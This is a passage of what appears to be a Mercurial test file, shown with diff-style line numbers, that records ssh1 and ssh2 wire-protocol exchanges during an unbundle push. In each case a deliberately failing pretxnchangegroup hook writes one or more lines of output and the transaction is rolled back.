206 204 > sys.stderr.flush()
207 205 > print('stdout 2')
208 206 > sys.stdout.flush()
209 207 > print('stderr 2', file=sys.stderr)
210 208 > sys.stderr.flush()
211 209 > return 1
212 210 > EOF
213 211
214 212 $ hg init failrepo
215 213 $ cd failrepo
216 214
217 215 ui.write() in hook is redirected to stderr
218 216
219 217 $ cat > .hg/hgrc << EOF
220 218 > [hooks]
221 219 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1line
222 220 > EOF
223 221
224 222 $ debugwireproto << EOF
225 223 > command unbundle
226 224 > # This is "force" in hex.
227 225 > heads 666f726365
228 226 > PUSHFILE ../initial.v1.hg
229 227 > readavailable
230 228 > EOF
231 229 testing ssh1
232 230 creating ssh peer from handshake results
233 231 i> write(104) -> 104:
234 232 i> hello\n
235 233 i> between\n
236 234 i> pairs 81\n
237 235 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
238 236 i> flush() -> None
239 237 o> readline() -> 4:
240 238 o> 413\n
241 239 o> readline() -> 413:
242 240 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
243 241 o> readline() -> 2:
244 242 o> 1\n
245 243 o> readline() -> 1:
246 244 o> \n
247 245 sending unbundle command
248 246 i> write(9) -> 9:
249 247 i> unbundle\n
250 248 i> write(9) -> 9:
251 249 i> heads 10\n
252 250 i> write(10) -> 10: 666f726365
253 251 i> flush() -> None
254 252 o> readline() -> 2:
255 253 o> 0\n
256 254 i> write(4) -> 4:
257 255 i> 426\n
258 256 i> write(426) -> 426:
259 257 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
260 258 i> test\n
261 259 i> 0 0\n
262 260 i> foo\n
263 261 i> \n
264 262 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
265 263 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
266 264 i> \x00\x00\x00\x00\x00\x00\x00\x00
267 265 i> write(2) -> 2:
268 266 i> 0\n
269 267 i> flush() -> None
270 268 o> readline() -> 2:
271 269 o> 0\n
272 270 o> readline() -> 2:
273 271 o> 1\n
274 272 o> read(1) -> 1: 0
275 273 result: 0
276 274 remote output:
277 o> read(-1) -> 0:
278 275 e> read(-1) -> 196:
279 276 e> adding changesets\n
280 277 e> adding manifests\n
281 278 e> adding file changes\n
282 279 e> added 1 changesets with 1 changes to 1 files\n
283 280 e> ui.write 1 line\n
284 281 e> transaction abort!\n
285 282 e> rollback completed\n
286 283 e> abort: pretxnchangegroup.fail hook failed\n
287 284
288 285 testing ssh2
289 286 creating ssh peer from handshake results
290 287 i> write(171) -> 171:
291 288 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
292 289 i> hello\n
293 290 i> between\n
294 291 i> pairs 81\n
295 292 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
296 293 i> flush() -> None
297 294 o> readline() -> 62:
298 295 o> upgraded * exp-ssh-v2-0001\n (glob)
299 296 o> readline() -> 4:
300 297 o> 412\n
301 298 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
302 299 o> read(1) -> 1:
303 300 o> \n
304 301 sending unbundle command
305 302 i> write(9) -> 9:
306 303 i> unbundle\n
307 304 i> write(9) -> 9:
308 305 i> heads 10\n
309 306 i> write(10) -> 10: 666f726365
310 307 i> flush() -> None
311 308 o> readline() -> 2:
312 309 o> 0\n
313 310 i> write(4) -> 4:
314 311 i> 426\n
315 312 i> write(426) -> 426:
316 313 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
317 314 i> test\n
318 315 i> 0 0\n
319 316 i> foo\n
320 317 i> \n
321 318 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
322 319 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
323 320 i> \x00\x00\x00\x00\x00\x00\x00\x00
324 321 i> write(2) -> 2:
325 322 i> 0\n
326 323 i> flush() -> None
327 324 o> readline() -> 2:
328 325 o> 0\n
329 326 o> readline() -> 2:
330 327 o> 1\n
331 328 o> read(1) -> 1: 0
332 329 result: 0
333 330 remote output:
334 o> read(-1) -> 0:
335 331 e> read(-1) -> 196:
336 332 e> adding changesets\n
337 333 e> adding manifests\n
338 334 e> adding file changes\n
339 335 e> added 1 changesets with 1 changes to 1 files\n
340 336 e> ui.write 1 line\n
341 337 e> transaction abort!\n
342 338 e> rollback completed\n
343 339 e> abort: pretxnchangegroup.fail hook failed\n
344 340
345 341 And a variation that writes multiple lines using ui.write
346 342
347 343 $ cat > .hg/hgrc << EOF
348 344 > [hooks]
349 345 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook2lines
350 346 > EOF
351 347
352 348 $ debugwireproto << EOF
353 349 > command unbundle
354 350 > # This is "force" in hex.
355 351 > heads 666f726365
356 352 > PUSHFILE ../initial.v1.hg
357 353 > readavailable
358 354 > EOF
359 355 testing ssh1
360 356 creating ssh peer from handshake results
361 357 i> write(104) -> 104:
362 358 i> hello\n
363 359 i> between\n
364 360 i> pairs 81\n
365 361 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
366 362 i> flush() -> None
367 363 o> readline() -> 4:
368 364 o> 413\n
369 365 o> readline() -> 413:
370 366 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
371 367 o> readline() -> 2:
372 368 o> 1\n
373 369 o> readline() -> 1:
374 370 o> \n
375 371 sending unbundle command
376 372 i> write(9) -> 9:
377 373 i> unbundle\n
378 374 i> write(9) -> 9:
379 375 i> heads 10\n
380 376 i> write(10) -> 10: 666f726365
381 377 i> flush() -> None
382 378 o> readline() -> 2:
383 379 o> 0\n
384 380 i> write(4) -> 4:
385 381 i> 426\n
386 382 i> write(426) -> 426:
387 383 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
388 384 i> test\n
389 385 i> 0 0\n
390 386 i> foo\n
391 387 i> \n
392 388 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
393 389 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
394 390 i> \x00\x00\x00\x00\x00\x00\x00\x00
395 391 i> write(2) -> 2:
396 392 i> 0\n
397 393 i> flush() -> None
398 394 o> readline() -> 2:
399 395 o> 0\n
400 396 o> readline() -> 2:
401 397 o> 1\n
402 398 o> read(1) -> 1: 0
403 399 result: 0
404 400 remote output:
405 o> read(-1) -> 0:
406 401 e> read(-1) -> 218:
407 402 e> adding changesets\n
408 403 e> adding manifests\n
409 404 e> adding file changes\n
410 405 e> added 1 changesets with 1 changes to 1 files\n
411 406 e> ui.write 2 lines 1\n
412 407 e> ui.write 2 lines 2\n
413 408 e> transaction abort!\n
414 409 e> rollback completed\n
415 410 e> abort: pretxnchangegroup.fail hook failed\n
416 411
417 412 testing ssh2
418 413 creating ssh peer from handshake results
419 414 i> write(171) -> 171:
420 415 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
421 416 i> hello\n
422 417 i> between\n
423 418 i> pairs 81\n
424 419 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
425 420 i> flush() -> None
426 421 o> readline() -> 62:
427 422 o> upgraded * exp-ssh-v2-0001\n (glob)
428 423 o> readline() -> 4:
429 424 o> 412\n
430 425 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
431 426 o> read(1) -> 1:
432 427 o> \n
433 428 sending unbundle command
434 429 i> write(9) -> 9:
435 430 i> unbundle\n
436 431 i> write(9) -> 9:
437 432 i> heads 10\n
438 433 i> write(10) -> 10: 666f726365
439 434 i> flush() -> None
440 435 o> readline() -> 2:
441 436 o> 0\n
442 437 i> write(4) -> 4:
443 438 i> 426\n
444 439 i> write(426) -> 426:
445 440 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
446 441 i> test\n
447 442 i> 0 0\n
448 443 i> foo\n
449 444 i> \n
450 445 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
451 446 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
452 447 i> \x00\x00\x00\x00\x00\x00\x00\x00
453 448 i> write(2) -> 2:
454 449 i> 0\n
455 450 i> flush() -> None
456 451 o> readline() -> 2:
457 452 o> 0\n
458 453 o> readline() -> 2:
459 454 o> 1\n
460 455 o> read(1) -> 1: 0
461 456 result: 0
462 457 remote output:
463 o> read(-1) -> 0:
464 458 e> read(-1) -> 218:
465 459 e> adding changesets\n
466 460 e> adding manifests\n
467 461 e> adding file changes\n
468 462 e> added 1 changesets with 1 changes to 1 files\n
469 463 e> ui.write 2 lines 1\n
470 464 e> ui.write 2 lines 2\n
471 465 e> transaction abort!\n
472 466 e> rollback completed\n
473 467 e> abort: pretxnchangegroup.fail hook failed\n
474 468
475 469 And a variation that does a ui.flush() after writing output
476 470
477 471 $ cat > .hg/hgrc << EOF
478 472 > [hooks]
479 473 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1lineflush
480 474 > EOF
481 475
482 476 $ debugwireproto << EOF
483 477 > command unbundle
484 478 > # This is "force" in hex.
485 479 > heads 666f726365
486 480 > PUSHFILE ../initial.v1.hg
487 481 > readavailable
488 482 > EOF
489 483 testing ssh1
490 484 creating ssh peer from handshake results
491 485 i> write(104) -> 104:
492 486 i> hello\n
493 487 i> between\n
494 488 i> pairs 81\n
495 489 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
496 490 i> flush() -> None
497 491 o> readline() -> 4:
498 492 o> 413\n
499 493 o> readline() -> 413:
500 494 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
501 495 o> readline() -> 2:
502 496 o> 1\n
503 497 o> readline() -> 1:
504 498 o> \n
505 499 sending unbundle command
506 500 i> write(9) -> 9:
507 501 i> unbundle\n
508 502 i> write(9) -> 9:
509 503 i> heads 10\n
510 504 i> write(10) -> 10: 666f726365
511 505 i> flush() -> None
512 506 o> readline() -> 2:
513 507 o> 0\n
514 508 i> write(4) -> 4:
515 509 i> 426\n
516 510 i> write(426) -> 426:
517 511 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
518 512 i> test\n
519 513 i> 0 0\n
520 514 i> foo\n
521 515 i> \n
522 516 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
523 517 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
524 518 i> \x00\x00\x00\x00\x00\x00\x00\x00
525 519 i> write(2) -> 2:
526 520 i> 0\n
527 521 i> flush() -> None
528 522 o> readline() -> 2:
529 523 o> 0\n
530 524 o> readline() -> 2:
531 525 o> 1\n
532 526 o> read(1) -> 1: 0
533 527 result: 0
534 528 remote output:
535 o> read(-1) -> 0:
536 529 e> read(-1) -> 202:
537 530 e> adding changesets\n
538 531 e> adding manifests\n
539 532 e> adding file changes\n
540 533 e> added 1 changesets with 1 changes to 1 files\n
541 534 e> ui.write 1 line flush\n
542 535 e> transaction abort!\n
543 536 e> rollback completed\n
544 537 e> abort: pretxnchangegroup.fail hook failed\n
545 538
546 539 testing ssh2
547 540 creating ssh peer from handshake results
548 541 i> write(171) -> 171:
549 542 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
550 543 i> hello\n
551 544 i> between\n
552 545 i> pairs 81\n
553 546 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
554 547 i> flush() -> None
555 548 o> readline() -> 62:
556 549 o> upgraded * exp-ssh-v2-0001\n (glob)
557 550 o> readline() -> 4:
558 551 o> 412\n
559 552 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
560 553 o> read(1) -> 1:
561 554 o> \n
562 555 sending unbundle command
563 556 i> write(9) -> 9:
564 557 i> unbundle\n
565 558 i> write(9) -> 9:
566 559 i> heads 10\n
567 560 i> write(10) -> 10: 666f726365
568 561 i> flush() -> None
569 562 o> readline() -> 2:
570 563 o> 0\n
571 564 i> write(4) -> 4:
572 565 i> 426\n
573 566 i> write(426) -> 426:
574 567 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
575 568 i> test\n
576 569 i> 0 0\n
577 570 i> foo\n
578 571 i> \n
579 572 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
580 573 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
581 574 i> \x00\x00\x00\x00\x00\x00\x00\x00
582 575 i> write(2) -> 2:
583 576 i> 0\n
584 577 i> flush() -> None
585 578 o> readline() -> 2:
586 579 o> 0\n
587 580 o> readline() -> 2:
588 581 o> 1\n
589 582 o> read(1) -> 1: 0
590 583 result: 0
591 584 remote output:
592 o> read(-1) -> 0:
593 585 e> read(-1) -> 202:
594 586 e> adding changesets\n
595 587 e> adding manifests\n
596 588 e> adding file changes\n
597 589 e> added 1 changesets with 1 changes to 1 files\n
598 590 e> ui.write 1 line flush\n
599 591 e> transaction abort!\n
600 592 e> rollback completed\n
601 593 e> abort: pretxnchangegroup.fail hook failed\n
602 594
603 595 Multiple writes + flush
604 596
605 597 $ cat > .hg/hgrc << EOF
606 598 > [hooks]
607 599 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookmultiflush
608 600 > EOF
609 601
610 602 $ debugwireproto << EOF
611 603 > command unbundle
612 604 > # This is "force" in hex.
613 605 > heads 666f726365
614 606 > PUSHFILE ../initial.v1.hg
615 607 > readavailable
616 608 > EOF
617 609 testing ssh1
618 610 creating ssh peer from handshake results
619 611 i> write(104) -> 104:
620 612 i> hello\n
621 613 i> between\n
622 614 i> pairs 81\n
623 615 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
624 616 i> flush() -> None
625 617 o> readline() -> 4:
626 618 o> 413\n
627 619 o> readline() -> 413:
628 620 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
629 621 o> readline() -> 2:
630 622 o> 1\n
631 623 o> readline() -> 1:
632 624 o> \n
633 625 sending unbundle command
634 626 i> write(9) -> 9:
635 627 i> unbundle\n
636 628 i> write(9) -> 9:
637 629 i> heads 10\n
638 630 i> write(10) -> 10: 666f726365
639 631 i> flush() -> None
640 632 o> readline() -> 2:
641 633 o> 0\n
642 634 i> write(4) -> 4:
643 635 i> 426\n
644 636 i> write(426) -> 426:
645 637 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
646 638 i> test\n
647 639 i> 0 0\n
648 640 i> foo\n
649 641 i> \n
650 642 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
651 643 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
652 644 i> \x00\x00\x00\x00\x00\x00\x00\x00
653 645 i> write(2) -> 2:
654 646 i> 0\n
655 647 i> flush() -> None
656 648 o> readline() -> 2:
657 649 o> 0\n
658 650 o> readline() -> 2:
659 651 o> 1\n
660 652 o> read(1) -> 1: 0
661 653 result: 0
662 654 remote output:
663 o> read(-1) -> 0:
664 655 e> read(-1) -> 206:
665 656 e> adding changesets\n
666 657 e> adding manifests\n
667 658 e> adding file changes\n
668 659 e> added 1 changesets with 1 changes to 1 files\n
669 660 e> ui.write 1st\n
670 661 e> ui.write 2nd\n
671 662 e> transaction abort!\n
672 663 e> rollback completed\n
673 664 e> abort: pretxnchangegroup.fail hook failed\n
674 665
675 666 testing ssh2
676 667 creating ssh peer from handshake results
677 668 i> write(171) -> 171:
678 669 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
679 670 i> hello\n
680 671 i> between\n
681 672 i> pairs 81\n
682 673 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
683 674 i> flush() -> None
684 675 o> readline() -> 62:
685 676 o> upgraded * exp-ssh-v2-0001\n (glob)
686 677 o> readline() -> 4:
687 678 o> 412\n
688 679 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
689 680 o> read(1) -> 1:
690 681 o> \n
691 682 sending unbundle command
692 683 i> write(9) -> 9:
693 684 i> unbundle\n
694 685 i> write(9) -> 9:
695 686 i> heads 10\n
696 687 i> write(10) -> 10: 666f726365
697 688 i> flush() -> None
698 689 o> readline() -> 2:
699 690 o> 0\n
700 691 i> write(4) -> 4:
701 692 i> 426\n
702 693 i> write(426) -> 426:
703 694 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
704 695 i> test\n
705 696 i> 0 0\n
706 697 i> foo\n
707 698 i> \n
